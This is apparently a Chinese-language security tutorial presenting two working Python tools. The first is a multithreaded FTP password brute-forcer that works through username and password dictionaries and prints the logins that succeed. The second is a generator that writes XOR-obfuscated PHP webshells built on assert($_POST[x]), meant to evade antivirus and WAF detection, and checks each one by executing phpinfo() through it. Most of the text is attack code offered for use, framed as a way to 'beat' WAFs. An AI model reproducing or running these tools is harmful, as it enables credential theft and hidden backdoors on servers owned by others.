目录
本次学习知识点
学习目的
多线程FUZZ
案例一:利用FTP模块实现协议爆破脚本+简单多线程技术
Ftplib模块
Python多线程知识点
异或免杀webshell
案例二:配合FUZZ实现免杀异或Shell脚本
php异或知识点
此后如竟没有炬火,我便是唯一的光。
本次学习知识点
协议模块使用,Request爬虫技术,建议多线程技术,编码技术,Bypass后门技术
学习目的
掌握利用强大的模块实现各种协议连接操作(爆破或者利用等),配合FUZZ吊打WAF等
多线程FUZZ
案例一:利用FTP模块实现协议爆破脚本+简单多线程技术
Ftplib模块
ftp爆破需要的参数:IP、端口、用户名、密码字典
思路:
- 连接ftp服务需要输入的内容(参数)有:IP地址、端口号(默认是21,有可能更改)、用户名、以及密码字典
- 实现:使用Python的ftplib模块可以实现ftp登录,登录输入的参数,如上面的参数。
ftp常用函数:
from ftplib import FTP #加载ftp模块
ftp = FTP() # 设置变量
ftp.encoding = 'gbk' #支持中文路径和文件名
ftp.set_debuglevel(2) ##打开调试级别2,显示详细信息
ftp.connect("IP","port) #连接的ftp sever和端口
ftp.login( "user" ,"password") #连接的用户名,密码
print ftp.getwelcome() #打印出欢迎信息
ftp.cmd( "xxx/xxx") #进入远程目录
bufsize=1024 #设置的缓冲区大小
filename="filename.txt" #需要下载的文件
file_handle=open(filename, "wb " ).write #以写模式在本地打开文件
ftp.retrbinaly("RETR filename.txt",file_handle,bufsize) #接收服务器上文件并写入文件ftp.set_debuglevel(0) #关闭调试模式
ftp.quit() #退出ftp
ftp.cwd(pathname) #设置FTP当前操作的路径
ftp.dir() #显示目录下所有目录信息
ftp.nlst() #获取目录下的文件
ftp.mkd(pathname) #新建远程目录
ftp.pwd() #返回当前所在位置
ftp.rmd(dirname) #删除远程目录
ftp.delete(filename) #删除远程文件
ftp.rename(fromname,toname) #将fromname修改名称为toname。
ftp.storbinaly( "STOR filename.txt" ,file_handel,bufsize) #上传目标文件
Python多线程知识点
具体代码实现:
import ftplib
import sys
import threading
import queue
#简单的模拟登录测试
#爆破:IP,端口。用户名,密码字典
def ftp_check(ip,port):
ftp = ftplib.FTP()
ftp.connect(ip, int(port))
while not q.empty():
userpass = q.get()
userpass = userpass.split('|')
username = userpass[0]
password = userpass[1]
#print(username+' '+password)
try:
ftp.login(username, password)
list = ftp.retrlines('list')
print('-----------------------connection successful!------------------------------')
print(username + '|' + password)
print(list)
except ftplib.all_errors:
pass
if __name__ =='__main__':
ip = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
passwd = sys.argv[4]
threading_num = sys.argv[5]
q = queue.Queue()
for username in open(user):
for password in open(passwd):
username = username.replace('\n','')
password = password.replace('\n','')
#print(username+'|'+password)
q.put(username+'|'+password)
for x in range(int(threading_num)):
t = threading.Thread(target=ftp_check,args=(ip,int(port)))
t.start()
#print(ip+'|'+port+'|'+user+'|'+passwd)
FTP服务器日志中便记载到了成功登录的信息。
异或免杀webshell
案例二:配合FUZZ实现免杀异或Shell脚本
php异或知识点
参考文章:
具体实现代码
import requests
'''
通过Python来制作免杀的webshell后门脚本文件
'''
for i in range(1,128):
for j in range(1,128):
#print(chr(i)+'|'+chr(j))
code = "<?php $a=('"+chr(i)+"'^'"+chr(j)+"').ssert;$a($_POST[x]);?>"
#<?php $a=("!"^"@").ssert;$a($_POST[x]);?>
with open("D:/phpstudy_pro/WWW/webshell_re/"+str(i)+"res"+str(j)+".php","a+") as f:
f.write(code)
f.close()
url = 'http://127.0.0.1/webshell_re/'+str(i)+'res'+str(j)+'.php'
data={
'x':'phpinfo();'
}
result = requests.post(url,data=data)
if 'LAPTOP-S1ULNFSN' in result.text:
print(str(i)+'res'+str(j)+'.php'+' | OK')
上面便通过生成的后门文件来执行phpinfo,成功执行。当然发现了通过异或操作得到a的方法,有很多种,如下生成的php文件都是有效的。